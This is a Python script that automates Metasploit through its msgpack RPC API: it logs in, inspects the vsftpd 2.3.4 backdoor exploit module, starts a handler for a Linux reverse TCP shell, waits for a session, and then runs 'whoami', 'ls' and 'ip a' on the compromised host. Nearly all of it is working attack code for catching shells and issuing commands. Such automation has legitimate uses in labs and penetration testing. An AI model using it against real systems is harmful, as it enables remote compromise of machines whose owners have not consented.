Directly interacting with msfrpc using msgpack

msf_direct.py

import time

from http.client import HTTPConnection
from msgpack import packb, unpackb

import json

client = HTTPConnection("192.168.96.4", 55553)
client.request('POST', '/api/', packb(['auth.login', 'msf', '1234']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())

print(res)

token = res[b'token']
client.request('POST', '/api/', packb(['core.version', token]), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res)

client.request('POST', '/api/', packb(['module.info', token, 'exploit', 'unix/ftp/vsftpd_234_backdoor']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res.keys())
print(res[b'default_target'])
print("Options:")
#print(res[b'options'])
#print(json.dumps(res[b'options'.decode('utf-8')]))
options_mod = {}
for k,v in res[b'options'].items():
    options2_mod = {}
    for k2, v2 in v.items():
        if isinstance(v2, bytes):
            v2 = v2.decode('utf-8')
        if isinstance(v2, list):
            v2 = [x.decode('utf-8') for x in v2]
        options2_mod[k2.decode('utf-8')] = v2

    options_mod[k.decode('utf-8')] = options2_mod
print(options_mod)
print(json.dumps(options_mod, indent=4))

client.request('POST', '/api/', packb(['module.info', token, 'post', 'multi/manage/shell_to_meterpreter']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res)

#client.request('POST', '/api/', packb(['module.execute', token, 'exploit', 'unix/ftp/vsftpd_234_backdoor', {'RHOST': '172.17.0.3', 'PAYLOAD': 'cmd/unix/interact'}]), {'Content-Type': 'binary/message-pack'})
client.request('POST', '/api/', packb(['module.execute', token, 'exploit', 'exploit/multi/handler', {'LHOST': '0.0.0.0', 'LPORT': '4444', 'PAYLOAD': 'linux/x86/shell/reverse_tcp'}]), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res)

res = {}
while not res:
  client.request('POST', '/api/', packb(['session.list', token]), {'Content-Type': 'binary/message-pack'})
  res = unpackb(client.getresponse().read())
  print(res)
  time.sleep(1)

sessID = list(res.keys())[0]
print(sessID)
client.request('POST', '/api/', packb(['session.shell_write', token, sessID, 'whoami\n']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res)

data = b''
while not data:
  client.request('POST', '/api/', packb(['session.shell_read', token, sessID]), {'Content-Type': 'binary/message-pack'})
  res = unpackb(client.getresponse().read())
  print(res)

  data = res[b'data']
  time.sleep(1)
  
client.request('POST', '/api/', packb(['session.shell_write', token, sessID, 'ls\n']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res)

data = b''
while not data:
  client.request('POST', '/api/', packb(['session.shell_read', token, sessID]), {'Content-Type': 'binary/message-pack'})
  res = unpackb(client.getresponse().read())
  print(res)

  data = res[b'data']

client.request('POST', '/api/', packb(['session.shell_write', token, sessID, 'ip a\n']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())
print(res)

data = b''
while not data:
  client.request('POST', '/api/', packb(['session.shell_read', token, sessID]), {'Content-Type': 'binary/message-pack'})
  res = unpackb(client.getresponse().read())
  print(res)

  data = res[b'data']

client.request('POST', '/api/', packb(['module.info', token, 'post', 'multi/manage/shell_to_meterpreter']), {'Content-Type': 'binary/message-pack'})
res = unpackb(client.getresponse().read())